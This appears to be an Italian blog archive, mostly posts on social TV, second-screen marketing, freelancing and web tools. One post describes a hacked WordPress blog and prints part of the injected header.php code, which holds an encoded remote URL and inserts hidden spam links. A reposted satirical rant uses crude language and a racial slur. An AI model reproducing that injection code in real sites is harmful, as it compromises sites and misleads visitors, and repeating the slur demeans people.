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Oggi, durante l’incontro La convergenza degli schermi in programma alla Social Media Week 2012, bitmama condivide il proprio punto di vista su come si sta evolvendo il rapporto tra marca e consumatore in un contesto dominato dalla convergenza dei 4 schermi e dall’avvento dei social media.

L’obiettivo di questa presentazione è fornire una panoramica dei cambiamenti in atto nella vita dei consumatori e infine condividere alcune opportunità che si presentano per le marche.

I cambiamenti presi in esame sono:

• il passaggio della Rete da universo di documenti ad abilitatrice di relazioni
• l’influenza dei social media sul processo d’acquisto
• il declino della TV nella comunicazione pubblicitaria
• la nascita dell’esperienza multi-screen

Tv, computer, smartphone e tablet - 4 schermi - sono “finestre” su un mondo composto dalle nostre amicizie, dai nostri interessi e dalle marche. Queste finestre stanno cambiando il modo e il mondo in cui viviamo.Chi si occupa di marketing oggi deve elaborare strategie che colgano la nuova relazione tra media tradizionali e media digitali nella vita del consumatore.

Il passaggio della Rete da universo di documenti ad abilitatrice di relazioni

Come siamo arrivati fino a qui? Il web nei suoi primi anni è stato un vero e proprio universo di documenti, un luogo indefinito e distante dalla realtà. Le persone navigavano la Rete, passando da un documento a un altro. Con il Web 2.0 prima e con i Social Media poi il Web è stato ricostruito intorno alle persone, non più ai documenti. Oggi viviamo in un contesto in cui interagiamo con i contenuti e i servizi offerti dalla Rete portandoci dietro: i nostri interessi, i nostri amici, gli interessi dei nostri amici. Tutto questo nelle nostre tasche.

Contenuti personalizzati e contestualizzati

Abbiamo oggi a disposizione informazioni personalizzate e contestualizzate, elaborate in base ai nostri dati, ai dati dei nostri amici o delle marche con cui interagiamo, e ai dati aggregati di tutti gli altri utenti.

Personalizzazione in basata sulle relazioni sociali: un esempio sono i risultati di Google, influenzati dalle relazioni che abbiamo stretto all’interno delle cerchie di Google+, la piattaforma di social networking di Google.
Nell’immagine il primo risultato mostratomi da Google per la ricerca “Learn with Google”, si tratta di un post di bitmama, azienda per cui lavoro e facente parte delle mie cerchie su Google+.

Personalizzazione basata sulla geolocalizzazione: un esempio è il radar di Foursquare che segnala quando ci si trova in prossimità di un posto possibilmente di nostro interesse o in cui si trovano i nostri amici.

Personalizzazione basata sul device: per esempio l’agenzia creativa londinese Glue Isobar mostra un messaggio di benvenuto, le ultime news e i lavori d’agenzia a coloro che visitano il sito da desktop, ma mette in primo piano mappa, indirizzo e contatti per coloro che lo vedono da mobile, secondo un approccio di responsive web design.

L’influenza dei social media sul processo d’acquisto

Oltre alla presenza di informazioni personalizzate e contestualizzate, un altro fenomeno ha contribuito a creare situazione in cui ci troviamo oggi: la facilità ed ubiquità di accesso alle relazioni sociali. L’acquisto di un prodotto passa sempre più spesso per la rete. Non parlo tanto della crescita dell’e-commerce, quanto piuttosto dei fenomeni che influenzano le decisioni d’acquisto, ormai ricorrenti nei social media.
Il consumatore ha a disposizione le recensioni sui prodotti, punteggi di qualità attribuiti sia da estranei che da amici. Queste informazioni influenzano direttamente l’acquisto. Anche la possibilità di fare domande specifiche, chiedere consigli ed essere informato da altri utenti, amici o direttamente dal produttore, può influenzare direttamente l’acquisto di un prodotto o l’affezione a una marca.
Sono sempre più numerose le occasioni in cui questa influenza è indiretta.

a) Un ex-collega che stimo moltissimo compra un prodotto e ne condivide la foto su Facebook. Risultato? Acquisto compulsivo subito.

b) Un’amica utilizza la ricarica Vodafone direttamente da Facebook, e io vengo a scoprire che così facendo ha guadagnato 3600 minuti (60 ore) di chiamate gratis questo mese. E se lo facessi anch’io?

c) un collega pubblica su youtube un bellissimo video di snowboard con la sua nuova GoPro. Capisco che si tratta di un prodotto fantastico. Lo voglio!

d) un’amica ha appena cambiato la propria immagine di profilo su facebook, un capolavoro di fotografia! Faccio mi piace e scopro, leggendo i commenti, che è stata fotoritoccata da un fotografo professionista nell’ambito dell’operazione Glamourize promossa da Veet! Interessante iniziativa, decido di farlo sapere a tutte le mie amiche.

e) durante gli Europei di calcio vengo invitato da un “amico” a partecipare a un concorso su Facebook per vincere la maglia degli azzurri, utilissima per tifare con tutto il cuore la nazionale mentre guardo la partita al bar. Partecipo all’iniziativa Notti Magiche promossa da Nivea for Men, e qualche giorno dopo ricevo la maglietta. Sulla pagina Facebook, di cui divento fan, vedo che in molti hanno pubblicato la propria foto con indosso la maglia vinta. Decido di condividere anch’io la mia foto.

Gli esempi non si fermano qui!
f) posso contribuire a migliorare i prodotti o i servizi che uso maggiormente, facendo sentire la mia voce ed esprimendo una critica costruttiva. Webank utilizza questo approccio sul proprio sito, “la banca che vorrei”, imitando le meccaniche proprie dei social media.
g) se si fa parte di una community i vantaggi sono tangibili. Le marche pensano ai propri clienti più affezionati, creano speciali offerte per loro, regalano loro esperienze da VIP. Ad esempio Burberry presentando la propria collezione SS12 ha creato un “tweetwalk”, ovvero ha condiviso con i propri follower su twitter le foto dei modelli pochi istanti prima che questi sfilassero sulla passerella (in inglese “catwalk” da cui il gioco di parole).
È sempre più evidente che chi si occupa di marketing e comunicazione - e per fortuna qualcuno già lo fa come dimostrano alcuni degli esempi appena mostrati - non possa ignorare questo cambiamento culturale in atto e le nuove potenzialità messe a disposizione da questi nuovi (social) media.

Il declino della TV nella comunicazione pubblicitaria

Per capire come siamo arrivati fino a qui occorre anche capire che cos’è successo alla televisione. La tecnologia che ha permesso quanto appena descritto non ha coinvolto fino a questo momento – se non per poche eccezioni – il mondo della TV, che è rimasto sconnesso. Cambiamenti tecnologici ce ne sono stati, come il digitale terrestre e la diffusione del satellitare, ed hanno portato alla molteplicità di canali, sempre più specializzati su tematiche verticali.
Il modello predominante della comunicazione è rimasto però inalterato, legato al concetto di interruzione piuttosto che al paradigma emergente dell’interazione. Ne è dimostrazione l’uso del testimonial piuttosto che dell’influencer. Il testimonial è una persona molto lontana da noi, con alta notorietà, ma con cui non è pensabile un’interazione. Ci recapita un messaggio, Clooney ci dice che senza Martini non c’è party (no martini no party), è affascinante ma noi sappiamo che a quel party non siamo invitati e mai lo saremo. Forse giusto nei nostri sogni.

L’influencer può essere un blogger amante della buona cucina, piuttosto che il ragazzo affascinante dell’ufficio al piano di sopra; sebbene anch’essi siano degli sconosciuti sono più vicini, più facenti parte della nostra quotidianità, più disponibili e più simili a noi.

Ms Marmite Lover (aka Kerstin Rodgers) è una delle food blogger più popolari in UK - twitter.com/MsMarmitelover

Soprattutto sono a portata di mano, possiamo interagire con loro e aspettarci delle risposte.

La comunicazione ha perso grip sul telespettatore, che crede meno al messaggio pubblicizzato, che fruisce del palinsesto televisivo saltando da un canale all’altro.

Cosa è successo agli investimenti pubblicitari in TV? Sono calati notevolmente, ma non tanto quanto la loro efficacia. Secondo una recente ricerca Nielsen, meno della metà degli intervistati si fida della pubblicità tradizionale a fronte di una fiducia del 70% nelle recensioni online. Si parla di una contrazione della raccolta pubblicitaria del 7% nel 2012 (fonte assocomunicazione), a fronte di una crescita del digitale del 12,7%.
Nonostante queste evidenze i direttori marketing delle grandi marche stanno ammiccando (15% del budget) al mondo del digitale ma dedicano ancora nel 2012 la maggior parte del loro budget all’investimento televisivo.

La TV rimane tuttora la fonte principale di contenuti di qualità, e sappiamo benissimo che content is king. Programmi come The big bang theory, o Game of Thrones sono per me, che faccio poco uso della TV, imperdibili. E vogliamo forse parlare del calcio?
Il web riverbera il contenuto televisivo, che finisce su Youtube, viene commentato su Twitter o su Facebook, viene trattato con dettaglio su Wikipedia, per non parlare di alcuni social media dedicati di come Zeebox e GetGlue.

Come reinserire questo contenuto in un contesto basato su device interattivi, con connessioni sociali, geolocalizzati? Come far tornare a fruttare in termini di efficacia gli investimenti che abbiamo visto le marche continuano a fare su questo canale?

Uno sguardo al futuro presente: la convergenza degli schermi

In Italia il ruolo della televisione è tuttora centrale e al contempo la diffusione di smartphone è tra le più alte al mondo (superiore a USA, Francia e Germania per capirci). Siamo di fronte a una grande opportunità, alcune soluzioni sono state proposte e realizzate, si tratta di episodi sporadici ma da cui prendere spunto.
Ci sono fondamentalmente due modi per ottenere questo cambiamento: la tecnologia della TV cambia (smart TV e smart broadcaster) o viene arricchita (aumentata) da un secondo schermo.

Social TV

Il 2013 si dice sarà l’anno della Social TV (Paul Adams – Global Head of brand design in Facebook). Quando sento le sue parole mi immagino un’esperienza utente più simile a quella che abbiamo online, la TV subirà una contaminazione positiva. Le opzioni per il telespettatore (si chiamerà ancora così credo) saranno molteplici:

• programmi che i tuoi amici hanno visto di recente
• i programmi preferiti dei tuoi amici
• programmi che l’emittente ti consiglia in base ai tuoi interessi
• contenuti (anche spezzoni di programmi) che i tuoi amici hanno scelto per te

Non saremo costretti a guardare tutto un programma, magari solo la porzione suggerita da un amico, dal minuto 1 al minuto 7 e 5 secondi. È un modello che replica la libertà di scelta a cui le persone si sono abituate oggi online.
Youtube stessa ha subito un pesante redesign quest’anno, nel tentativo di cambiarne la natura, da social media a social network di contenuti. In primo piano ora possiamo:

• vedere le attività recenti dei nostri amici – quelli propri di youtube e quelli mutuati da google+ –
• dei canali che seguiamo
• ricevere raccomandazioni in base a una serie di dati storici nostri e dei nostri amici
• scegliere di vedere che cosa è Trending in questo momento

A mio avviso il risultato di questo redesign è blando, in quanto non integrato con il resto dell’arena sociale. Avrei preferito l’integrazione di Facebook e Twitter, fortemente presenti nella quotidianità degli utenti rispetto a google+, ma è evidente che ci sono decisioni di business a monte di questa scelta.

Youtube è uno dei più importanti broadcaster mondiali, il contenuto è user generated (broadcast yourself è il loro payoff) e viaggia in rete, ma a parte questo non ci sono grandi differenze con RAI o Mediaset. Certo… fatico tuttora a chiamarla TV.

TV on the GO

Nel corso di quest’anno HBO è uscita con una piattaforma per la visione dei propri programmi su ipad e desktop, dal nome HBO Go. Non c’è un grammo di social design nel loro progetto. Stesso nome e stessa quantità di interazioni sociali anche per la piattaforma di Sky, Sky Go. Anche progetti precedenti che non sono approdati sul nostro mercato, come ad esempio hulu-plus, offrono un servizio di fruizione del contenuto televisivo su più device, compresi la smart TV di Samsung e la Playstation 3, ma a parte mostrare I contenuti più “popolari” non propongono scelte di social design.

Grazie a queste piattaforme finalmente i broadcaster hanno a disposizione sia la tecnologia sia il contenuto, ma non stanno spingendo sull’acceleratore. Quelli di voi che hanno mai creato una campagna di social Ads su Facebook, potendo scegliere con precisione il target non solo in base a età, sesso, città ma anche in base agli interessi, al titolo di studio, alla situazione coniugale, possono immaginare l’enorme potenziale nell’avere a disposizione queste stesse informazioni per la programmazione pubblicitaria in TV.

Forse però non sarà questo il futuro della pubblicità, forse sto solo pensando di applicare un modello vecchio a un nuovo contesto. Dove trova infatti spazio l’interruzione in questo nuovo paradigma?

L’esperienza dual-screen

La TV non assorbe più completamente la nostra attenzione in quanto è sempre più spesso utilizzata in simultanea con altri schermi (smartphone, tablet, pc).

Si parla di un’esperienza dual-screen quando interagiamo con due schermi simultaneamente (multitasking.)

Recenti ricerche di mercato ci mostrano quanto sia diffuso questo comportamento, specialmente nella fascia di età 18-44. Come far leva su questa abitudine per migliorare l’esperienza utente, per fare entrare in contatto marca e consumatore, per aumentare l’esperienza televisiva, rendendola interattiva e ricca come quella online?

Un esempio, seppur in uno stadio embrionale ce lo da Zeebox, una delle applicazioni di maggior successo del 2012 nel mercato UK. È embrionale a mio avviso perché dimostra al mondo le grandi potenzialità ma non parte da una collaborazione con l’emittente, con chi produce e trasmette il contenuto. Arriva dopo, ex post.
Non è disponibile ad oggi per il mercato italiano. È utilizzata tramite smartphone, tablet o desktop durante la fruizione televisiva. Cosa permette di fare?

• invitare gli amici a guardare un programma insieme a noi
• sapere cosa stanno guardando gli amici
• sapere qual è lo show più visto (popolare) in questo momento e quanti utenti zeebox lo stanno guardando
• partecipare alla conversazione pubblica tramite l’integrazione di twitter nella piattaforma
• piuttosto che chattare con gli amici tramite l’integrazione della chat di Facebook
• accedere a informazioni aggiuntive selezionate per il programma, come statistiche sul calcio o approfondimenti presi da wikipedia e altre fonti sul Web
• acquistare determinati prodotti che compaiono in un programma, piuttosto che o scaricare una colonna sonora, un gioco…

Analogamente negli stati uniti ha preso piede un’altra applicazione di nome Get Glue. È meno integrata con il contenuto televisivo ma ugualmente di successo anche grazie all’adozione di meccaniche di gamification, come l’introduzione degli stickers (badges), che ne favoriscono la diffusione e la loyalty da parte degli utenti.

È stata definita la foursquare dell’entertainment.

Ci sono altri modi per sfruttare la fruizione in dual-screen, con una esperienza utente ancora più ricca e interattiva, più integrata. Vi presento tre tra le mie case history preferite:

• heineken
• NBC Fashion Star
• Veet

Heineken: Star Palyer

NBC Fashion Star

Non si tratta di una esperienza dual screen in senso stretto, in quanto non avviene simultaneamente sui due schermi, la fruizione da Web inizia al termine dello show. La meccanica in ogni caso è molto interessante e innovativa, il format stesso della trasmissione invita ad un utilizzo della rete.
Fashion Star è un programma della NBC condotto dalla top model Elle Macpherson in cui 14 designer si sfidano nella creazione di capi di abbigliamento, che i brand della moda comprano all’asta, determinando il vincitore. Al termine della trasmissione i capi sono messi in vendita sugli apposi e-commerce creati da H&M, Macy’s e altri brand che partecipano al programma.

Veet: Tifose in Rosa

Lo scorso giugno l’argomento di attualità per eccellenza sono stati gli Europei di calcio 2012. Veet ha accompagnato le proprie fan, in questo momento altamente sociale – il calcio per gli italiani – con una telecronaca “rosa” in diretta sulla propria pagina Facebook. La conversazione era atta a sottolineare con un pizzico di malizia i temi che rendono le donne complici.

La partecipazione all’evento è stata altissima e ha superato le nostre più rosee aspettative. Nel corso della partita le fan della pagina hanno commentato le azioni dei calciatori, tifato tutte insieme, ma soprattutto è stata la bellezza degli atleti in campo il fil rouge della conversazione.

Conclusioni

Le persone sono connesse all’arena sociale. La diffusione dei quattro schermi è capillare.
È stata condivisa a inizio mese una ricerca di Google sul tema del multi-screen, abbiamo sentito Paul Adams di Facebook affermare quanto sia importante una svolta social della televisione, quanto sia fuori luogo l’interruzione e ben accetta l’interazione.
In bitmama non abbiamo mai creduto nella sostituzione di un media con un altro quanto piuttosto nell’integrazione, che a nostro avviso passa per il second-screen.
Oggi la marca vive in TV, vogliamo farla vivere in modo più moderno. Possiamo esaltarne la presenza e farla entrare nella narrazione attraverso il product placement digitale. Al contempo possiamo far vivere un’esperienza estesa allo spettatore, mediante il second-screen.

cPod - by Serena Micieli

Mi sono accorto, grazie a Google Webmaster Console, che il mio blog era stato hackato. Mi ero accorto da google analytics che le visite da motori di ricerca erano drasticamente scese nelle ultime settimane e il pageRank del blog era passato a valori ben più bassi del solito.

Nel file header.php compariva questo codice:

< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3Mv'; $opt_id='6b7f3e5f93fdbe97272a041896b86fd9'; $blarr=get_option('cache_vars'); [omissis ]
foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=''; foreach($blarr['links'] as $k=>$v) $txt_out.=’‘.$k.’‘; echo str_replace(’[LINKS]‘,$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ?>

Dalla webmaster console, sezione “parole chiave”, ho notato che l’elenco di parole chiave trovate da Google durante la scansione del sito conteneva nomi di farmaci e pillole (blu).
Disabilitando cookie e CSS sono riuscito a vedere i numerosi link a siti spam che il codice qui sopra infilava nel mio blog.

Riporto l’articolo del mitico Chinaski. Questa volta ha superato se stesso! In meglio.

Se si potesse governare il paese da dietro un blog mi augurerei che si candidasse alle prossime elezioni.

Wololo

“Per quanto mi riguarda vale ancora il metodo classico, per capire se un essere umano è o non è morto, ovvero tastare il polso, strizzare le palle e mettere uno specchietto sotto il naso per vedere se dentro c’è ancora  qualcuno. Trovo invece ridicolo questo bisticciarsi un cadavere approfittandosi del suo smarrimento, disquisendo filosoficamente sulla sottile separazione concettuale tra la vita e la morte e facendo passare gli anni tenendolo attaccato a macchinari che lo fanno respirare, pompare, bere, mangiare e spurgare, magari muovendogli le mani con fili sottili e manovrando le mandibole per fargli emettere messaggi pubblicitari. Che poi, i casi sono due: o è davvero morto e allora stai perdendo soldi e tempo, con tutto che per un famigliare la cosa può rappresentare l’innaturale e malsano prolungamento di uno strazio senza fondo, oppure, beh, è ancora vivo. Sì, cazzo, contro ogni ragione scientifica attualmente disponibile, anche se i calcoli e le tabelle dicono che no, non può più sentire né provare niente, lui invece è lì, vivo, silenziosamente sepolto dentro se stesso per uno, due, dieci, cento anni e senza poter muovere un muscolo, senza potersi nemmeno grattare il culo, senza poter fare altro che pensare e ripensare al nero infinito. È un rischio che non farei correre a nessuno, se devo essere sincero. Sei fisicamente morto, irrimediabilmente andato? Allora io stacco tutto, bello, e ci si vede al prossimo giro.
Ma a quel punto arrivano loro, sempre loro, i non so più come insultarli, guidati dal più famoso cadavere semovente del mondo. Arrivano – ma in senso figurato, visto che fanno tutto da casa tramite un simulatore tipo Age of Empires che gira su Windows 98 – e cominciano con la solita solfa: la vita è sacra, abbasso il relativismo culturale (dove per relativismo culturale intendiamo: non avere la nostra opinione), i bambini portavano provocanti minigonne e così via. Che fa anche ridere, a pensarci, perché molta gente si fa suggerire cosa fare della propria vita da certa altra gente che della vita non ha mai avuto esperienza diretta, e infatti non oso immaginare cosa succederà quando arriveranno dal Padreterno, con il bagaglio esistenziale di un rasoio elettrico:

Il prete morto sta seduto sulla poltrona dell’ufficio di Dio. Dio esamina dei fogli con gli occhialini in punta di naso. Esami del sangue, esami del tono muscolare, dati biografici dettagliati.

Dio: ma che cazz…
Prete: qualcosa che non va, Sire?
Dio: ma come? Non ti sei usato.
Prete: eh, ma…
Dio: incredibile. Scusa, abbassati pantaloni e mutande un secondo.
Prete: …
Dio: avanti, su, o te li tolgo io ma passando dall’alto.
Prete: uh, ok. Ecco fatto.
Dio: …
Prete: …
Dio: c’è ancora il cellofan.
Prete: è che proprio non sapevo come…
Dio: bah. Mai visto sprecare così le proprie ferie.
Prete: ferie?
Dio: già. Comunque. Trovi elmetto, mascherina e piccozza nella stanza qui accanto.
Prete: ma ci deve essere un err…
Dio: il prossimo.

Veramente. Io andrei dal Papa e gli scaricherei un povero disgraziato in stato vegetale da accudire, lavare, nutrire e tutto il resto, dicendogli che, oh, ecco una vita da difendere, rimboccati le maniche (ma lui chiamerebbe un assistente per chiamare un assistente per affidare l’incarico all’aiutante di un sostituto di un maggiordomo negro).
Ma alla fine la parte più irritante sta sempre in questo pretendere di conoscere il volere di Dio alla perfezione e di interferire subito dopo sulla mia sovranità personale. Ma che ne sai, mi dico: magari Dio vorrebbe la mia anima accanto a sé nella gloria eterna del regno dei cieli e tu mi tieni qui a vegetare in un letto d’ospedale per vent’anni a guardarmi l’interno delle palpebre degli occhi. Come faccio a non odiarti? Oppure, che resta la più probabile, Dio non ha nessun volere e non ce l’ha per il semplice fatto che non esiste (o che esiste ma è un fascio di luce verde), e allora, ci arrivi da te, non mi devi rompere le palle.”

Questo annuncio è dedicato a tutti coloro che cercano un’alternativa valida alle seguenti opzioni offerte ad oggi dal mercato del lavoro:

• essere disoccupati
• lavorare da “impiegato delle poste” 8 ore al giorno
• fare lo schiavo per un’azienda 12 ore al giorno, 5/6 giorni su 7, tutto l’anno, tutta la vita

Come dire, se vuoi fare un lavoro interessante c’è un’unica soluzione, entri in un’azienda la mattina all’alba e ci esci la sera che il sole ha già fatto capolino. Tutto questo viene retribuito con un salario dignitoso, a volte anche molto buono, ma a quale prezzo? Quello di doverti costruire una vita nel rimanente giorno e mezzo della settimana rimasto a disposizione. E come si fa a costruirsi un vita in questo modo?

Noi di 10people crediamo che sia possibile lavorare 7 mesi all’anno, guadagnando il giusto e vivendo una vita dignitosa ricca di interessi. Non ci serve la BMW per stare bene, quanto piuttosto dei pomeriggi all’aria aperta, una mattinata in piscina, un martedì in snowboard, un weekend passato a lavorare con l’idea che si sta facendo qualcosa di davvero speciale e ce la si vuole mettere tutta fino in fondo, con il sorriso negli occhi e la soddisfazione per l’eccellenza che in questo modo si può mettere in ogni cosa che si fa.

Come funziona 10people? 10people è una rete di professionisti, al cui interno si creano team in base alle esigenze di un progetto. Per esempio per un sito di ecommerce serviranno: information designer, graphic designer, sviluppatori front end (che sia flash, flex, html, …), sviluppatori back-end (che programmino in php, ruby, …), SEO/ SEM strategist (che si occupino del lancio e che curino le modalità di attrazione al sito), web editor (che si occupino dei contenuti), un coordinatore di progetto (che assicuri puntualità e rispetto della qualità dell’output). Per una video installazione alcune delle persone potrebbero essere le stesse, ma il team di lavoro cambia sensibilmente.

Questo approccio ha un doppio vantaggio:

• per il cliente, che non paga il ricarico del costo di una struttura fissa
• per il professionista, che può decidere quando prendere progetti e impegnarsi duramente, oppure fare altro

La nostra rete si sta ampliando. Se credi di poter contribuire in qualche modo - non ti chiediamo nessun impegno fisso, in base a quanto hai voglia di lavorare e ovviamente a quanto sei capace - scrivi a catani at gmail.com mandando un portfolio con i tuoi lavori e presentandoti.

Quando un problema a due variabili è difficile, spesso, basta aggiungerne una terza per farlo diventare di banale soluzione. Ovviamente la difficoltà del problema sta nel capire che va aggiunta una terza variabile.

Faccio un esempio. Ho una bottiglia A di acqua e una B di birra. Come faccio a scambiare il contenuto delle due bottiglie? Uso una terza bottiglia C, di passaggio.

Lo stesso succede nella programmazione. Ho due variabili che voglio scambiare di valore, A(=7) e B(=5). Mi tocca anche in questo caso fare un’operazione del tipo - anche se pare che questo non sia necessario in Ruby, Python, …

C = A; (C=7)
A = B; (A=5)
B = C; (B=7)

In flatlandia, l’autore passa da due a tre dimensioni per poter far immaginare al lettore l’esistenza della quarta dimensione.

Sono tanti in rete gli esempi di business model che funzionano solo perchè esistono tre variabili, anche se spesso ci accorgiamo solo dell’esistenza di due. Sono tutti sistemi a tre partecipanti, in cui il terzo paga per entrare in un mercato fondato sulla relazione tra le altre parti, di carattere gratuito (interessante articolo a riguardo). Per esempio Google offre ai propri utenti un servizio di ricerca gratuito. Chi paga? Chi genera revenews per Google? Gli inserzionisti con adWords.

Morale della favola, se un problema a due variabili vi sembra difficile, provate per esercizio ad aggiungerne una terza.

SilverLight è il nuovo prodotto di Microsoft che fa concorrenza a Flash di Adobe. Non ho ancora avuto modo di toccare con mano nè il nuovo actionscript 3 nè il silverlight, ma credo che sarà una bella lotta e sono curioso di sapere come andrà a finire.

Flash gode di una storia ormai consolidata e di un nuovo linguaggio di programmazione davvero OOP, ha il plugin più installato della storia dei plugin, ha dettato uno standard di fatto per il video su web (non dimentichiamoci che youtube usa FLV), è ricco di componenti. Lato sviluppo l’ho sempre trovato scarso dal punto di vista del debugging, ha un’interfaccia utente (IDE) che è di coccio e specilmente su mac talvolta irritante (parlo in particolare della finestra delle action) e nasconde insidiosi bug su alpha layer, interruzione dei caricamenti, e funzioni come il setInterval…

D’altro canto MS è famosa per i suoi bug, ma mette a disposizione un’intero pacchetto che fa da concorrenza alla CS3 di Adobe. Mi sembra difficile che un intero popolo di web designer cambi dall’oggi al domani, ma stiamo a vedere (il potere dei soldi può sempre stupire). D’altronde non posso di certo dire di essere soddisfatto di dreamweaver CS3, che ogni volta che mi sposto da un tab all’altro mi fa girare la clessidra per un minuto (e le palle per più tempo ancora).
Dal sito si silverlight vedo che almeno microsoft un po’ si è sbattuta e concede gratuitamente un servizio di hosting in streaming che invece Adobe non ha mai dato e che è sempre stato il compagno sfigato di flash (Flash Media Server 2).

Che dire… il sito di Silverlight si vede bene anche su firefox (anche firefox ultimamente è diventato un chiodo… no internet explorer no, non ne voglio sapere), chissà che i tempi non stiano cambiando

Mamma diceva spesso che il congiuntivo è molto indicativo. Io, nel mio lavoro di web designer - a proposito: designer non è che disegna ma chi progetta - incontro spesso altri fattori parecchio indicativi.

Con gli anni ho imparato a diffidare di chi usa il pronome personale per riferirsi a un computer: “poi LUI prende la richiesta dell’utente”, o “l’utente inserisce username e password, poi LUI decide se farli accedere o no al sistema”. “Io ho impostato il backup, ma LUI non l’ha fatto”. Magia! Chi si riferisce al software o ai computer usando un pronome personale costituisce quasi sempre un problema per un team di progetto, nella fattispecie per i suoi interlocutori non “tecnici”.

Attenzione anche alla parola header. Rimango guardingo anche se sento pronuciare heeder (come in leader) invece che header (come in leather). Non si tratta di casi umani o di cattive persone, semplicemente di gente che ha passato la vita con il naso nei manuali di programmazione, ma che durante le vacanze all’estero ha avuto la saggia idea di non tirare fuori l’argomento.

Siccome ho trovato questo video tanto vero quanto divertente ve lo ripropongo.

Ci sono alcuni oggetti che hanno un basso costo di produzione per unità, sono tutti uguali, ma vengono venduti a un prezzo elevato. Non sto dicendo che questo sia ingiusto, anzi. Un sacco di lavori di intelletto costano (libri, CD, DVD, scarpe e t-shirt made in china, …) non tanto perchè il supporto costi, ma perchè si sta acquistando il prodotto finale di una “lunga lavorazione”.
Quando i costi marginali sono bassi, per incentivare il passaparola, basterebbe regalare (ogni tanto, su discrezione del cassiere per esempio) una copia extra. Difficilmente qualcuno si terrà due copie dello stesso libro o della stessa maglietta. Piuttosto farà un regalo. Un regalo che ha dietro di se una storia e che quindi farà parlare.